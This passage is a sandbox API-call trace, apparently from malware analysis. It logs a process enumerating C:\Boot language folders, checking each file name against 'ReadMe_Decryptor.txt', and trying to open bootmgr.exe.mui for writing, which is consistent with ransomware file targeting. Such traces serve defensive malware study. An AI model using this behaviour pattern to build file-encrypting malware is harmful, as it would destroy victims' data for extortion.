lpMem=0x561fe0 | out: hHeap=0x540000) returned 1 [0033.932] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0033.932] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x561fe0 [0033.932] FindFirstFileExW (in: lpFileName="C:\\Boot\\cs-CZ\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0033.934] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0033.934] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.934] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0033.934] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0033.934] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.934] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c88 [0033.934] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c88 | out: hHeap=0x540000) returned 1 [0033.934] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0033.934] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0033.934] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0033.934] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c88 [0033.934] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x561fe0 | out: hHeap=0x540000) returned 1 [0033.934] FindClose (in: hFindFile=0x5638c0 | out: hFindFile=0x5638c0) returned 1 [0033.934] FindFirstFileExW (in: lpFileName="C:\\Boot\\cs-CZ\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0033.934] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.935] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.935] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564d78 [0033.935] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564d78 | out: hHeap=0x540000) returned 1 [0033.935] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0033.935] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x557498 [0033.935] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0033.935] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c88 | out: hHeap=0x540000) returned 1 [0033.935] FindClose (in: hFindFile=0x5638c0 | out: hFindFile=0x5638c0) returned 1 [0033.935] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0033.935] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0033.935] lstrcmpW (lpString1="da-DK", lpString2=".") returned 1 [0033.935] lstrcmpW (lpString1="da-DK", lpString2="..") returned 1 [0033.935] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0033.935] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0033.935] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.935] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.935] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.935] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.935] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0033.935] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0033.935] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x560008 [0033.935] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x560008 | out: hHeap=0x540000) returned 1 [0033.935] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x560008 [0033.935] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x560008 | out: hHeap=0x540000) returned 1 [0033.935] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x560008 [0033.935] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x560008 | out: hHeap=0x540000) returned 1 [0033.935] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.935] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.935] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.935] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.935] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.935] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.935] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.935] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.936] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.936] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.936] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0033.936] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0033.936] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0033.936] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0033.936] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0033.936] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0033.936] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb458 [0033.936] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb458 | out: hHeap=0x540000) returned 1 [0033.936] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0033.936] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0033.936] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0033.936] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0033.936] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0033.936] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x561fe0 [0033.936] FindFirstFileExW (in: lpFileName="C:\\Boot\\da-DK\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0033.936] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0033.936] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.936] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0033.936] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0033.936] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.936] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c88 [0033.936] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c88 | out: hHeap=0x540000) returned 1 [0033.936] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0033.936] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0033.983] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0033.983] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c88 [0033.983] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x561fe0 | out: hHeap=0x540000) returned 1 [0033.983] FindClose (in: hFindFile=0x5638c0 | out: hFindFile=0x5638c0) returned 1 [0033.983] FindFirstFileExW (in: lpFileName="C:\\Boot\\da-DK\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0033.983] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.984] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.984] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564d78 [0033.984] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564d78 | out: hHeap=0x540000) returned 1 [0033.984] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0033.984] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x5574e0 [0033.984] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0033.984] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c88 | out: hHeap=0x540000) returned 1 [0033.984] FindClose (in: hFindFile=0x5638c0 | out: hFindFile=0x5638c0) returned 1 [0033.984] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0033.984] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0033.984] lstrcmpW (lpString1="de-DE", lpString2=".") returned 1 [0033.984] lstrcmpW (lpString1="de-DE", lpString2="..") returned 1 [0033.984] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0033.984] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0033.984] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.984] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.984] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.984] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.984] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0033.984] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0033.984] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x560008 [0033.984] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x560008 | out: hHeap=0x540000) returned 1 [0033.984] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x560008 [0033.984] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x560008 | out: hHeap=0x540000) returned 1 [0033.984] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x560008 [0033.984] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x560008 | out: hHeap=0x540000) returned 1 [0033.984] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.984] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.984] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.984] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.984] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.984] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.984] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.984] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.985] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.985] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.985] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0033.985] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0033.985] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0033.985] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0033.985] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0033.985] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0033.985] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb458 [0033.985] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb458 | out: hHeap=0x540000) returned 1 [0033.985] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0033.985] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0033.985] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0033.985] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0033.985] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0033.985] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x561fe0 [0033.985] FindFirstFileExW (in: lpFileName="C:\\Boot\\de-DE\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0033.985] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0033.985] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.985] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0033.985] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0033.985] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.985] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c88 [0033.985] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c88 | out: hHeap=0x540000) returned 1 [0033.985] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0033.985] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0033.986] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0033.986] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c88 [0033.986] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x561fe0 | out: hHeap=0x540000) returned 1 [0033.986] FindClose (in: hFindFile=0x5638c0 | out: hFindFile=0x5638c0) returned 1 [0033.986] FindFirstFileExW (in: lpFileName="C:\\Boot\\de-DE\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0033.986] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.986] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.986] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564d78 [0033.986] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564d78 | out: hHeap=0x540000) returned 1 [0033.986] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0033.986] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x557528 [0033.986] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0033.986] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c88 | out: hHeap=0x540000) returned 1 [0033.986] FindClose (in: hFindFile=0x5638c0 | out: hFindFile=0x5638c0) returned 1 [0033.986] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0033.986] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, 